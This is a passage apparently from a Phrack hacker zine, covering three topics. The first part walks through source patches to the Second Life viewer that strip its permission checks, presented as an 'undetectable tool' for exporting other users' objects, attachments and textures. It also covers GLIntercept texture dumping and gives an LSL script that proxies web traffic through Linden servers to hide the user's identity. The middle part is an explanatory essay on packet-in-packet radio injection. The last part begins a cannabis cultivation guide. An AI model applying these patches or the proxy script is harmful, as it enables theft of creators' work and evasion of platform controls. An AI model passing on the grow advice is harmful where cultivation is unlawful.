LLUUID texture = LL_TEXTURE_PLYWOOD;

if (asset_id == texture ||

asset_id == LL_TEXTURE_BLANK || asset_id == LL_TEXTURE_INVISIBLE || asset_id == LL_TEXTURE_TRANSPARENT || asset_id == LL_TEXTURE_MEDIA)

{

// Allow to export a grid's default textures

return asset_id;

}

LLViewerInventoryCategory::cat_array_t cats;

// yadda, yadda, yadda, blah, blah, blah...

++++++++++++++++++++++++++++++++++++++++

There is a complete explanation of what this does in the comments. This checks to see whether you are in Second Life, and if you are, it goes through a series of inefficient and poorly coded checks to ensure that you are indeed the creator of the texture by testing whether the texture is in your inventory. We eliminate those checks and make it return the asset ID directly:

++++++++++++++++++++++++++++++++++++++++

LLUUID PrimBackup::validateTextureID(LLUUID asset_id)

{

return asset_id;

}

++++++++++++++++++++++++++++++++++++++++

Once you compile the modified viewer, you will be able to export any object, along with its textures that you can see in‑world. The next step is to modify the skin (i.e. Imprudence's user interface) so that you may export attachments from the GUI.

First, let us enable the pie "Export..." button. I will assume that you use the default skin. The next stop is at linden/indra/newview/skins/default/xui/en‑us/menu_pie_attachment.xml. You will need to add:

++++++++++++++++++++++++++++++++++++++++

<menu_item_call enabled="true" label="Export" mouse_opaque="true" name="Object Export">

<on_click function="Object.Export" /> <on_enable function="Object.EnableExport" /> </menu_item_call>

++++++++++++++++++++++++++++++++++++++++

Now, we need to enable it for any avatar at linden/indra/newview/skins/default/xui/en‑us/menu_pie_avatar.xml. You will need to add:

++++++++++++++++++++++++++++++++++++++++

<menu_item_call enabled="true" label="Export" mouse_opaque="true" name="Object Export">

<on_click function="Object.Export" /> <on_enable function="Object.EnableExport" /> </menu_item_call>

++++++++++++++++++++++++++++++++++++++++

After that, we must add them so the viewer picks up the skin options. We open up linden/indra/newview/llviewermenu.cpp and add in the avatar pie menu section:

++++++++++++++++++++++++++++++++++++++++

// Avatar pie menu

...

addMenu(new LLObjectExport(), "Avatar.Export");

++++++++++++++++++++++++++++++++++++++++

We do the same for the attachments section:

++++++++++++++++++++++++++++++++++++++++

// Attachment pie menu

...

addMenu(new LLObjectEnableExport(), "Attachment.EnableExport");

++++++++++++++++++++++++++++++++++++++++

Now we are set. However, the viewer performs a check in "EnableExport" in linden/indra/newview/llviewermenu.cpp which we need to knock out:

++++++++++++++++++++++++++++++++++++++++

class LLObjectEnableExport : public view_listener_t

{

bool handleEvent(LLPointer<LLEvent> event, const LLSD& userdata) {

LLControlVariable* control = gMenuHolder‑>findControl(userdata["control"].asString());

LLViewerObject* object = LLSelectMgr::getInstance()‑>getSelection()‑>getPrimaryObject();

if((object != NULL) && (find_avatar_from_object(object) == NULL)) {

// yadda, yadda, yadda, blah, blah, blah...

++++++++++++++++++++++++++++++++++++++++

The code initially checks whether the object exists, if it is not worn by an avatar, and then applies permission validations to all the children (links) of the object. If the object exists, if it is not worn by an avatar and all the permissions for all child objects are correct, then the viewer enables the "Export..." control. Since we do not care either way, we enable the control regardless of any checks.

++++++++++++++++++++++++++++++++++++++++

class LLObjectEnableExport : public view_listener_t

{

bool handleEvent(LLPointer<LLEvent> event, const LLSD& userdata) {

LLControlVariable* control = gMenuHolder‑>findControl(userdata["control"].asString());

LLViewerObject* object = LLSelectMgr::getInstance()‑>getSelection()‑>getPrimaryObject();

if(object != NULL)

{

control‑>setValue(true);

return true;

// yadda, yadda, yadda, blah, blah, blah...

++++++++++++++++++++++++++++++++++++++++

I have left the NULL check for the object since if you happen to mis‑click and select something other than an object, then the "Export..." pie menu will be enabled and your viewer will crash. More precisely, if you instruct the viewer to export something using the object export feature, and it is not an object, the viewer will crash since there are no checks performed after this step.

Further on in linden/indra/newview/llviewermenu.cpp there is another test to see whether the object you want to export is attached to an avatar. In that case, the viewer considers it an attachment and disallows exporting.

++++++++++++++++++++++++++++++++++++++++

class LLObjectExport : public view_listener_t

{

bool handleEvent(LLPointer<LLEvent> event, const LLSD& userdata) {

LLViewerObject* object = LLSelectMgr::getInstance()‑>getSelection()‑>getPrimaryObject(); if (!object) return true;

LLVOAvatar* avatar = find_avatar_from_object(object);

if (!avatar)

{ PrimBackup::getInstance()‑>exportObject(); }

return true;

}

};

++++++++++++++++++++++++++++++++++++++++

Again, we proceed the same way and knock out that check which will allow us to export objects worn by any avatar:

++++++++++++++++++++++++++++++++++++++++

class LLObjectExport : public view_listener_t

{

bool handleEvent(LLPointer<LLEvent> event, const LLSD& userdata) {

PrimBackup::getInstance()‑>exportObject();

return true;

}

};

++++++++++++++++++++++++++++++++++++++++

These changes will be sufficient in order to transform your viewer into an undetectable tool that will allow you to export any object along with the associated textures.

There are indeed easier ways, for example toggling God mode from the source code and bypassing most checks. However, that will be discussed in the upcoming full article, along with explanations on what Linden are able to detect and wearable exports.

Alternatively, and getting closer to a "bot", there are ways to program a fully non‑interactive client [11] that will export everything it sees automatically. This will also be covered in the upcoming article since it takes a little more than hacks. The principle still holds: "who controls an asset UUID, has at least permission to grab the asset off the asset server".

‑‑‑‑‑‑[ II. Part II ‑ Textures

In the first part we have talked about exporting objects. There is more fun you can have with the viewer too, for example, grabbing any texture UUID, or dumping your skin and clothes textures.

What can we do about clothes? If you have an outfit you would like to grab, with the previous method you will only be able to export primitives without the wearable clothes. How about backing up your skin?

The 1.x branch of the Linden viewer has an option, disabled by default and only accessible to grid Gods, which will allow you to grab baked textures. Grid Gods are essentially Game Masters and in the case of Second Life, they consist of the "Linden"s, which are Linden Labs employees represented in‑world by avatars, conventionally having "Linden" as their avatar's last name.

We open up linden/indra/newview/llvoavatar.cpp and we find:

++++++++++++++++++++++++++++++++++++++++

BOOL LLVOAvatar::canGrabLocalTexture(ETextureIndex index)

{

// Check if the texture hasn't been baked yet.

if (!isTextureDefined(index))

{

lldebugs << "getTEImage( " << (U32) index << " )‑>getID() == IMG_DEFAULT_AVATAR" << llendl;

return FALSE;

}

if (gAgent.isGodlike() && !gAgent.getAdminOverride()) return TRUE;

// yadda, yadda, yadda, blah, blah, blah...

++++++++++++++++++++++++++++++++++++++++

Aha, so it seems that grid Gods are permitted to grab textures. That is fine, so can we:

++++++++++++++++++++++++++++++++++++++++

BOOL LLVOAvatar::canGrabLocalTexture(ETextureIndex index)

{

// Check if the texture hasn't been baked yet.

if (!isTextureDefined(index))

{

lldebugs << "getTEImage( " << (U32) index << " )‑>getID() == IMG_DEFAULT_AVATAR" << llendl;

return FALSE;

}

return TRUE;

if (gAgent.isGodlike() && !gAgent.getAdminOverride()) return TRUE;

// yadda, yadda, yadda, blah, blah, blah...

++++++++++++++++++++++++++++++++++++++++

But that is not sufficient. The 1.x viewer code has an error (perhaps intentional) which will crash the viewer when you try to grab the lower part of your avatar. In the original code at linden/indra/newview/llviewermenu.cpp, we have:

++++++++++++++++++++++++++++++++++++++++

else if ("lower" == texture_type)

{

handle_grab_texture( (void*)TEX_SKIRT_BAKED ); }

else if ("skirt" == texture_type)

{

handle_grab_texture( (void*)TEX_SKIRT_BAKED ); }

++++++++++++++++++++++++++++++++++++++++

Which must be changed to:

++++++++++++++++++++++++++++++++++++++++

else if ("lower" == texture_type)

{

handle_grab_texture( (void*)TEX_LOWER_BAKED ); }

else if ("skirt" == texture_type)

{

handle_grab_texture( (void*)TEX_SKIRT_BAKED ); }

++++++++++++++++++++++++++++++++++++++++

You are free to recompile and go to the menu and dump the textures on you, including your skin. To grab your skin, you can undress your avatar and grab the textures. You can then export them using the method from Part I. For clothes, you would do the same by clothing your avatar, grabbing the relevant textures and then exporting them using the method from Part I.

You might notice that the texture that will be dumped to your inventory is temporary. That is, it is not an asset and registered with the asset server. Make sure you save the texture, or, if you want to save a bunch of them, consider reading the first part of the article and place the textures on a primitive and export the entire primitive.

Since the textures are baked, they represent an overlay of your skin and your clothes. If you want to extract just the clothes, you might need to edit the grabbed textures in a graphics editing program to cut out the skin parts. However, it might be possible to use a transparent texture for your skin when you grab the textures. In that case, you will not have to edit the clothes at all.

‑‑‑‑‑‑[ II. Part II ‑ Textures

II. i. Textures ‑ GLIntercept

The GLIntercept method involves grabbing a copy of GLIntercept and replacing the .dll file with the GLIntercept one. By doing that, when you run the Second Life viewer, all the textures will be stored to your hard drive in the images directory. It is a resource consuming procedure because any texture that your viewer sees is saved to your hard‑drive.

Therefore, if your only interest is to allot a collection of textures, then get GLIntercept and, after installing it, replace the opengl .dll from your viewer directory with the one from GLIntercept. If you cannot find the viewer's opengl .dll, then just copy it as a new file because the viewer will pick it up. I recommend setting your graphics all the way to low and taking it easy because in the background, the GLIntercept .dll will create an images directory and dump all the possible textures, including the textures belonging to the UI.

There is a lot of fuss going on about GLIntercept. Some strange people say it does not work anymore and some funny people come up with ideas like encrypting the textures. The principle that GLIntercept works on is trivial to the point of making the whole fuss meaningless. GLIntercept, when used in conjunction with the viewer is an extra layer between your viewer and opengl. Anything that your graphics card renders can be grabbed ‑ together with other similar software [8], the same effect described in this article, however it would require you to convert the structures to the Second Life format. The usage of GLIntercept is not restricted to Second Life, you can go ahead and grab anything you like from any program that uses opengl. It literally puts a dent (crater?) into content stealing, the important phrase being: "anything that your graphics card renders, can be grabbed".

‑‑‑‑‑‑[ IV. Postamble

Second Life is a vanity driven virtual universe which is plagued by the most horrible muppets that fake anonymity could spawn. The Lindens maintain full control and all the content you upload automatically switches ownership to Linden Labs via the Terms of Service which make you renounce your copyright. Not only that, but there are plenty of rumours you are tracked and they have a dodgy "age‑verification" system in place which forces you to send your ID card to be checked by "a third party". Under these circumstances, it is of course questionable what they do with that data and whether they link your in‑world activities to your identity.

There is more that could be potentially done, the viewers are so frail and incredibly poorly coded from all perspectives and certainly not the quality you would expect from an institution that makes billions of shineys. There have been exploits before such as Charlie Miller's Quicktime exploit [9] which was able to gain full control of your machine (patched now) and Michael Thumann's excellent presentation which goes over many concepts of Second Life as well as how they can be abused [10].

One of the further possibilities I have been looking into (closely related to Michael Thumann's presentation) is to use LSL and create an in‑world proxy that will enable your browser to connect to a primitive in‑world and bounce your traffic. There is a limitation imposed on the amount of information an LSL script can retrieve off the web, however I am still looking into way to circumvent that. Essentially the idea would be to use the Linden Labs servers as a proxy to carry out all the surfing. At the current time of writing this article, I do have a working LSL implementation (you can see an example of that in [A. 1]) that can grab 2kb off any website (this is a limitation imposed by the LSL function llHTTPRequest()). Additionally, a PHP page could be created that rewrites the content sent back by the LSL script and so that the links send the requests back through the script in Second Life.

Not only IPs, but headers, timezone, DNS requests and everything else gets spoofed that way.

The possibilities are limitless and I have seen viewers emerge that rely on this concept, such as CryoLife or NeilLife. However, the identification strings sent by the few versions lying around the net have been tagged and any user connecting with them would be banned. If you want to amuse yourself further, you may want to have a look at:

http://wiki.secondlife.com/wiki/User:Crone_Dryke

Dedicated to CV. Many thanks to the Phrack Staff for their help and their interest in the article.

Thank you for your time!

‑‑‑‑‑‑[ B. Bibliography

[1] The Second Life website,

http://secondlife.com/

[2] Linden Labs official website,

http://lindenlab.com/

[3] Linden Scripting Language LSL Wiki, http://wiki.secondlife.com/wiki/LSL_Portal

[4] Imprudence Viewer downloads, http://wiki.kokuaviewer.org/wiki/Imprudence:Downloads

[5] The Phoenix Viewer,

http://www.phoenixviewer.com/

[6] The third‑party viewer policy, http://secondlife.com/corporate/tpv.php

[7] GLIntercept,

http://oreilly.com/pub/h/5235

[8] Ogre exporters, http://www.ogre3d.org/tikiwiki/OGRE+Exporters

[9] QuickTime exploit granting full access to a users machine, http://securityevaluators.com/content/case‑studies/sl/

[10] Thumann's presentation on possibilities how to exploit Second Life, https://www.blackhat.com/presentations/bh‑europe‑08/Thumann/

Presentation/bh‑eu‑08‑thumann.pdf

[11] OpenMetaverse Library for Developers, http://lib.openmetaverse.org/wiki/Main_Page

‑‑‑‑‑‑[ A. Appendix

[A. 1] LSL script which requests an publicly accessible URL from the current SIM it is located on, and answers any proxies HTTP requests by accessing the public URL, suffixed with "/url=<some URL>" where "some URL" represents a web address. The script fetches 2k of the content and then sends it back to the browser.

key uReq;

key sReq;

default

{

state_entry()

{

llRequestURL();

}

changed(integer change)

{

if (change & CHANGED_INVENTORY) llResetScript();

}

http_request(key id, string method, string body)

{

if (method == URL_REQUEST_GRANTED) { llOwnerSay(body);

return;

}

if (method == "GET") {

uReq = id;

list pURL = llParseString2List( llGetHTTPHeader(id, "x‑query‑string"), ["="], []); if (llList2String(pURL, 0) == "url") sReq = llHTTPRequest(llList2String(pURL, 1), [HTTP_METHOD, "GET"], "");

}

}

http_response(key request_id,

integer status,

list metadata,

string body)

{

if (sReq == request_id) llHTTPResponse(uReq, 200, body); }

}

|=[ 0x06 ]=‑‑‑=[ How I misunderstood digital radio; or, "Weird machines" are in radio, too! ‑ M.Laphroaig

pastor@phrack ]‑‑=|

...there be bytes in the air and Turing machines everywhere

When one lays claim to generalizing a class of common misconceptions, it is fitting to start with one's own. These are the things I used to believe about digital radio ‑‑ or, more precisely, would not have questioned if explicitly presented with them.

=== Wishful thinking ===

The following statements are obviously related and mutually reinforcing:

1. Layer 1 delivers frames to Layer 2 either fully intact frames exactly as transmitted by a peer in their entirety, or slightly corrupted versions of such frames if CRC checking in Layer 1 is disabled, as it sometimes is for sniffing.

2. In order to be received at Layer 1, a frame must be transmitted with proper encapsulation by a compatible Layer 1 transmitter using the exact same PHY protocol. There is no substitution in commodity PHY implementations for the radio chip circuitry activated when the chip starts transmitting a queued Layer 2 frame, except by use of an expensive software defined radio.

3. Layer 1 implementations have means to unambiguously distinguish between the radio transmission that precedes a frame ‑‑ such as the frame's preamble ‑‑ and the frame's actual data. One cannot be mistaken for another, or such a mistake would be extremely rare and barely reproducible.

4. Should a receiver miss the physical beginning of a frame transmission on the air due to noise or a timing problem, the rest of the transmission is wasted, and no valid frame could be received at least until this frame's transmission is over.

For Layer 1 injection, this would imply the following limitations:

a. In order to successfully "inject" a crafted Layer 1 frame (that is, to have it received by the target) the attacker needs to (1) build the binary representation of the full frame in a buffer, (2) possess a radio capable of transmitting buffer binary contents, and (3) instruct the radio to transmit the buffer, possibly bypassing hardware or firmware implementations of protocol features that may alter or side‑effect the transmission.

b. In particular, the injecting radio must perfectly cooperate by producing the proper encapsulating physical signals for the preamble, etc., around the injected buffer‑held frame. Without such cooperation, injection is not possible.

c. Errors due to radio noise can only break injection. The injecting transmission, as a rule, needs to be more powerful to avoid being thwarted by ambient noise.

d. Faraday cages are the ultimate protection against injection, as long as the nodes therein maintain their software and hardware integrity, and do not afford any undue privileges to the attacker.

A high‑level summary of these beliefs could be stated like this: the OSI Layer 1/Layer 2 boundary in digital radio is a _validity and authenticity filter_ for frames. In order to be received, a frame must be transmitted in its entirety via an "authentic" mechanism, the transmitting chip's logic going through its normal or nearly normal state transitions, or emulated by a software‑defined radio.

Each and every one of these is _false_, as demonstrated by the existence of Packet‑in‑Packet (PIP) [1,2] exploits.

=== A Packet Breaks Out ===

On a cold and windy February 23rd of 2011, my illusions came to an abrupt end when I saw the payload bytes of an 802.15.4 frame's data ‑‑‑ transmitted inside a valid packet as a regular payload ‑‑received as a frame of its own, reproducibly.

The "inner" packet, which I believed to be safely contained within the belly of the enclosing frame would occasionally break out and arrive all by itself, without any sign of the encapsulating packet.

Every once in a while, there was no whale, just Jonah. It was a very unwelcome miracle for someone who believed he could be safe from even SDR‑wielding attackers inside a cozy Faraday cage, as long as his utopian gated community had no compromised nodes.

Where was my encapsulation now? Where was my textbook's OSI model?

Lies, all lies. Sweet illusions shattered by cruel Packet‑in‑Packet, the textbook illusion of neat encapsulation chief among them. How the books lied.

=== Packet‑in‑Packet: a miracle explained ===

The following is a typical structure of a digital radio frame as seen by the radio:

‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

noise | preamble | SFD | L2 frame reported by sniffers | CRC | noise

‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The receiving radio uses the preamble bytes to synchronize itself, at the same time looking for SFD bytes digitally. Once a sequence of SFD bytes matches, the radio starts treating further incoming bytes as the content of the frame, saving them and feeding them into its checksum computation.

Consider the situation when the "L2 payload bytes" transmitted after the SFD themselves contain the following, say, as a valid payload of a higher layer protocol:

‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

preamble | SFD | inner packet bytes | valid checksum for inner packet

‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

If the original frame's preamble and SFD are intact, all of the above will be received and passed on to the driver and the OS as regular payload bytes as intended.

Imagine, however, that the original SFD is damaged by noise and missed by the radio. Then the initial bytes of the outer frame will be interpreted as noise, leading up to the embedded "preamble" and "SFD" of the would‑be payload. Instead, these preamble and SFD will be taken to indicate an actual start of a real frame, and the "inner" packet will be heard, up to an including the valid checksum. The following bytes of the enclosing frame will again be dismissed as noise, until another sequence of "preamble + SFD" is encountered.

Thus, due to noise damaging the real SFD and the receiver's inability to tell noise bytes from payload bytes except by matching for an SFD, the radio will occasionally receive the inner packet ‑‑ precisely as if it were sent alone, deliberately.

Thus a remote attacker capable of controlling the higher level protocol payloads that get transmitted over the air by one of the targeted radios on the targeted wireless network is essentially capable of occasionally injecting crafted Layer 1 frames ‑‑ without ever owning any radio or being near the targeted radios' physical location.

Yes, Mallory, there is such a thing as Layer 1 wireless injection without a radio. No, Mallory, a mean, nasty Faraday cage will not spoil your holiday.

=== The reality ===

Designers of Layer 2 and above trust Layer 1 to provide valid or "authentic" objects (frames) across the layer boundary. This trust is misplaced.

There are two factors that likely contribute to it among network engineers and researchers who are not familiar with radio Layer 1 implementations but have read driver and code in the layers above.

Firstly, the use of the CRC‑based checking throughout the OSI mode layers likely reinforces the faith in the ability of Layer 1 to detect errors ‑‑ any symbol errors that accidentally corrupt the encapsulated packet's structure while on the wire.

Secondly, the rather complex parsing code required for Layer 2 and above to properly de‑encapsulate respective payloads may lead its readers to believe that similarly complex algorithms take place in hardware or firmware in Layer 1.

However, L1 implementations are neither validity, authenticity, or security filters, nor do they maintain complex enough state or context about the frame's bytes they are receiving.

Aside from analog clock synchronization, their anatomy is nothing more than that of a finite automaton that pulls bytes (more precisely, symbols of the code that encodes the transmitted bytes, which differ per protocol, both in bits/symbol and in modulation) out of the air, continually.

The inherently noisy RF medium produces a constant stream of symbols. The probability of hearing different symbols is actually non‑uniform and depends on the details of modulation and encoding scheme, such as its error‑correction.

As it receives the symbol stream, this automaton continually compares a narrow window within the stream against the SFD sequence known to start a frame. Once matched by this shift register, the symbols start being accumulated in a buffer that will eventually be checksummed and passed to the Layer 2 drivers.

Beyond the start‑of‑frame matching automation, the receiver has no other context to determine whether symbols are in‑frame payload, our out‑of‑frame noise. It has no other concept of encapsulation or frame validity. A digital radio is just a machine for pulling bytes out of the air. It has weird machines in that same way ‑‑ and for the same reasons ‑‑ that a vulnerable C program has weird machines.

Such encapsulation based on such a simple automaton is easily and frequently broken in presence of errors. All that is needed is for the chip's idea of the start‑of‑frame sequence ‑‑ typically, some of the preamble + a Start of Frame Delimiter, a.k.a. Sync, or just the latter where the preamble is used exclusively for analog synchronization ‑‑ to not match, for the subsequent payload bytes to be mistaken for the start‑of‑frame sequence or noise.

In fact, to mislead the receiving automaton to the _intended meaning_ of symbols (or bytes they are supposed to make up or come from) no crafting manipulation is necessary: the receiving machine is so simple that _random noise_ alone provides sufficient "manipulation" needed to confuse its state and allow for packet‑in‑packet injection.

Thus injection for attackers without an especially cooperative radio or in fact any radio at all ‑‑ so long as the attacker can leverage some radio near the target to produce a predictable stream of symbols ‑‑ is enabled by broken encapsulation.

=== What does this remind me of? ===

I remember the first time I witnessed a buffer overflow exploit, when my Internet‑facing Linux box, name Miskatonic, was exploited. Whoever did that also opened a whole new world to me, and I'll be happy to repay that debt with a beer should we ever meet in person.

At that time, I was a fairly competent C programmer, but I saw the world in terms of functions that called other functions. Each of these functions returned after being called to whichever address it had been called from. I thought that the only way for a piece of code to ever get executed was to be inside a function called at some point.

In other words, I regarded C functions as "atomic" abstractions. Even though I implemented simple recursion and mutually recursive functions via my own stacks a few times, it never occurred to me that a real call stack could be anything other than a neat and perfect data structure with "push", "pop", and referencing of variable slots.

Beware layers of abstractions. Take their expected, specified operation on faith, and they will appear real. It is tempting to trust a lower abstraction layer to provide _only_ the valid data structures your next layer expects to receive, to assume that the lower layer's designers already took responsibility for it. It is so tempting to limit your considerations to the detail and complexity of the layer you are working in.

Thus the layers of abstraction become boundaries of competence.

This temptation is overpowering on well‑designed, abstraction‑oriented environments, where you lack any legal or effective means of PEEK‑ing or POKE‑ing the underlying layers. Dijkstra decried BASIC as a mind‑mutilating language, but most real BASICs had PEEK and POKE to explore the actual RAM, and one sooner or later found himself wondering what they did. I wonder what Dijkstra would have said about Java, which entirely traps the mind of a programmer in its abstractions, with no hint of any other ways or idioms of programming.

=== How we could have avoided falling for it ===

The key to understanding this design problem is the incorrect assumptions about how input is handled, in particular, of how it is handled as a language, and the machine that handles it.

The _language‑theoretic approach_ to finding just such misconceptions and exploitable bugs based on it was developed by Len Sassaman and Meredith L. Patterson. Watch their talks [3,4] and look for upcoming papers at http://langsec.org

Such a language‑theoretic analysis at L1 would have revealed this immediately. Valid frames are phrases in the language of bytes that a digital radio continually pulls out of the air, and the L1 seen as an automaton for accepting valid phrases (frames) should reject everything else.

The start‑of‑frame‑delimiter matching functionality within the radio chip is just a shift register and a comparison circuit ‑‑ too simple an automaton, in fact, to guarantee anything about the validity of the frame. With this perspective, the misconception of L2 expecting frame encapsulation and validity becomes clear, almost trivial. The key to finding the vulnerability is in choosing this perspective.

Conversely, there is no nicer source of 0‑day than false assumptions about what is on the other side of an interface boundary of a textbook‑blessed design. The convenient fiction of classic abstractions leads one to imagine a perfect and perfectly trustworthy machine on the other side, which takes care of serving up only the right kind of inputs to one's own layer. And so layers of abstraction become boundaries of competence.

References:

[1] Travis Goodspeed, Sergey Bratus, Ricky Melgares, Rebecca Shapiro, Ryan Speers,

"Packets in Packets: Orson Welles' In‑Band Signaling Attacks for Modern Radios",

USENIX WOOT, August 2011, http://www.usenix.org/events/woot11/tech/final_files/Goodspeed.pdf

[2] Travis Goodspeed,

Remotely Exploiting the PHY Layer, http://travisgoodspeed.blogspot.com/2011/09/

remotely‑exploiting‑phy‑layer.html

[3] Len Sassaman, Meredith L. Patterson,

"Exploiting the Forest with Trees",

BlackHat USA, August 2010, http://www.youtube.com/watch?v=2qXmPTQ7HFM

[4] Len Sassaman, Meredith L. Patterson,

"Towards a formal theory of computer insecurity: a language‑theoretic approach"

Invited Lecture at Dartmouth College, March 2011, http://www.youtube.com/watch?v=AqZNebWoqnc

|=[ 0x07 ]=‑‑=[ The 1130 Guide to Growing High‑Quality Cannabis ‑ 1130 ]‑=|

So you wanna grow marijuana? You wanna get high off your own buds? Well this guide will surely teach you how. I'll assume you're already somewhat familiar with Mary‑Jane, so I won't explain all the jargon in deep detail.

Table of Contents

0x00: General Botany ‑‑ basic plant knowledge

0x01: Environment ‑‑ air, temperature, and humidity

0x02: Container ‑‑ size and shape

0x03: Water ‑‑ temperature and filtering

0x04: Nutes ‑‑ plant food

0x05: Conductivity and pH ‑‑ don't burn the roots

0x06: Hydroponics ‑‑ how‑to hydro

0x07: Light ‑‑ which and why

0x08: Cloning ‑‑ make 'em root

0x09: Vegging ‑‑ big 'n' bushy

0x0A: Flowering ‑‑ dense and dank

0x0B: Harvest ‑‑ chop, dry, and cure

0x0C: Extracts ‑‑ smoke, vape, and cook

0x0D: Signs and Symptoms ‑‑ oh noes, wtf mang!

0x00: General Botany

If you've never grown before, growing cannabis can be difficult. Really though, it just depends on how much time you put in. As long as you check in on your plants 3‑4 times a day, you'll begin to learn enough about them to grow some really dank buds. But to get you started, here are a few things you should know.

Plants need light, water, air, and food to grow. A lack of any one of these at best will slow its growth and at worst will cause part or all of it to die. Light is generally the most limiting factor in determining a plant's growth rate, but that assumes all other factors are maxed. Plants absorb water and nutrients through their roots and carbon dioxide (CO2) through their leaves. They also need a bit of oxygen which they absorb through both leaves and roots.

Chloryphyll is a chemical in their leaves that's used as a catylyst with energy from light to convert CO2 and water into sugars and oxygen. Chloryphyll‑a is also what gives leaves their green color, while Chloryphyll‑b is responsible for the yellow color of leaves.

Plants need oxygen in order to burn energy to stay alive and grow, like we do, but plants produce much more oxygen than they consume. Plants are not able to move enough oxygen from the leaves down to the roots, so roots must have access to some oxygen in order to stay alive. When soil dries, air fills the space in the ground, and so soil must dry enough so that the roots can have air to breathe.

Cannabis has two main kinds of roots. There are the taproots which can grow very large and persist through dryness, and there are the feeder hairs. Feeder hairs will not survive very long without water, but since the roots need air to breathe the soil must dry out enough between waterings. Thus, it is important to let soil dry enough so it is not wet but still retains enough moisture to keep the feeder hairs alive. If they die, they must grow back before the plant can begin absorbing more nutrients. An easy way to tell if the soil is properly dry is if the color is still dark (not a lighter brown as when the dirt is "bone‑dry") but the soil does not stay clumped together as it does when wet.

Plants require three macronutrients to survive: N‑P‑K, or Nitrogen (Nitrates), Phosphorus (Phosphates), and Potassium (Potash). Nitrogen is primarily responsible for the green color in vegetative matter. It is not as important in fruits and flowers. Phosphorus is needed for root growth and is also the primary nutrient for fruits and flowers. Potassium is used throughout the plant to provde support; more Potassium means stronger, stiffer stems and branches which provide better support for dense buds.

0x01: Environment

Although cannabis grows in pretty much any condition (it is a weed, after all), optimal conditions produce optimal growth rates. Certain strains may be more picky than others, but generally you want the following:

Humidity

Cloning: 90‑100%

Vegging: 50‑80%

Flowering: 40‑50%

Temperature should always be 68‑75F (20‑24C). Lower temps increase humidity, and higher temps reduce humidity. Plants drink through their leaves as well as their roots, and they need humidity to do this. They also transpire through their leaves when temperatures are too high. Keep this in mind when checking your levels and diagnosing your plants. For instance, if the environment's been hotter than ideal and the air is dry, a small watering in between regular waterings may be necessary to protect the roots near the topsoil and prevent the plant from going into shock.

Air flow is very important. Basically you want to see the leaves moving at all times. Proper air flow does two things: it moves the air right around the leaves so the plant always has access to CO2, and the continuous leaf movement causes the plant to react and grow stronger stems which you need to support those massively dense buds you wanna grow. Too much airflow isn't a big deal as long as the plants aren't falling over. Technically, moving air will reduce air pressure and thus temperature will drop slightly, so if heat is a problem for you consider keeping your fan on a higher setting. But the more air flow, the more the plants transpire, and the more water they'll need.

0x02: Container

Cannabis needs a proper container to provide optimal root growth. In shape, the best container is wider than it is tall. If growing outdoors, a raised bed of good soil does wonders. Indoors, wide pots or trays work very well. You'll need to decide if you want to grow in soil or a hydroponic medium. There are pros and cons to both. Soil with compost is ideal for outdoor organic growing ‑‑ after preparation nature helps keep the roots healthy, and with a good compost mix most of the time plain water is all that's needed. If growing in pots, soil is still a good choice, but you will definitely have to supplement the water with additional nutrients, or you can use dry fertilizers that you work into the topsoil.

Indoor growing is much different than outdoor, and growing hydroponically adds a‑whole‑nother set of variables. If you're lazy, you have two options: grow in soil (soil is very forgiving), or build an automated setup. An automated setup is one that takes care of watering for you, so all you need to do is regular checkups, trimming, and checking on your reservoir. I'll go into detail about different hydroponic setups later on.

0x03: Water

Yes, a whole section on water, albeit a short one. Water temperature should be a little less than air temperature, although the roots will tolerate pretty cold water. Never give your plants water that's less than 50F (10C); you'll risk shocking the roots and stunting growth for a few days.

Water should be clean of excess salts, especially chlorine and chloramines. Soil gardens will tolerate the chlorines much better than hydro, but you should really get a water filter. A carbon filter is usually fine, but if your water source is really bad you might want to consider Reverse‑Osmosis. RO filters are expensive, but they also reduce the conductivity of the water to the lowest possible levels, allowing you to add more nutrients without burning the roots. Carbon filters are pretty cheap, and you could even use a regular drinking water filter.

0x04: Nutes

I do love organic; there's nothing quite like the taste of organically grown buds, but I do find that synthetic nutrients give amazing results. If you're not growing for personal use, synthetics are cheaper and can give very high yields. Either way, I'd recommend using a premade blend made by a name‑brand company ‑‑ when you're starting out it's just not worth trying to play chemist, just get the kit. I use liquid nutrients for both hydro and soil, but dry feeds will work in soil and any non‑recirculating hydro setup (e.g. feed and drain in coco). Liquid nutrients are designed to be instantly accessible by the plants, whereas dry feeds are usually time‑release.

Here are some rough empirical NPKs:

Cloning: 1‑3‑4

Vegging: 3‑2‑4

Flowering: 1‑4‑5

Aside from Nitrogen, Phosphates, and Potash, plants also need micronutrients. Iron, Calcium, and Magnesium and at the top, with still many others required to proper growth. Most organic mixes will have these even though they won't specify on the bottle, but if you're growing with synthetics you will have to supplement. Molasses has Fe, Ca, and Mg, and the sugar content helps both feed microbials and rinse out the growing medium. Various Vitamin B‑1 mixes will have most necessary micronutrients. Cal‑Mag supplements are good too, but be aware when using in conjunction with molasses so you don't overfeed.

In general, I recommend starting with less than half of the listed usage on the nutrient containers and then increasing as you see fit. It's a lot easier to see that your plants' leaves are a lighter green than you would want and then to increase the Veg mix than to use too much and burn your plants and have to start all over. If growing in soil, try starting at a quarter‑strength and using it with every watering. Increase as necessary to compensate for light color and plant size.

0x05: Conductivity and pH

Soil/medium pH and water pH are measured differently, but as long as you regulate the water pH there's no reason to worry about the soil. If you can afford it, I highly recommend getting a pH/Conductivity meter; some also measure PPM (parts per million), though it's usually a conversion from conductivity (measures in milliSiemens). I don't even pay attention to the usage on the nutrient bottle anymore, but I fill my resevoir according to the conductivity. I find it to be much more accurate than measuring the volume of water in gallons and using measuring cups for nutrients.

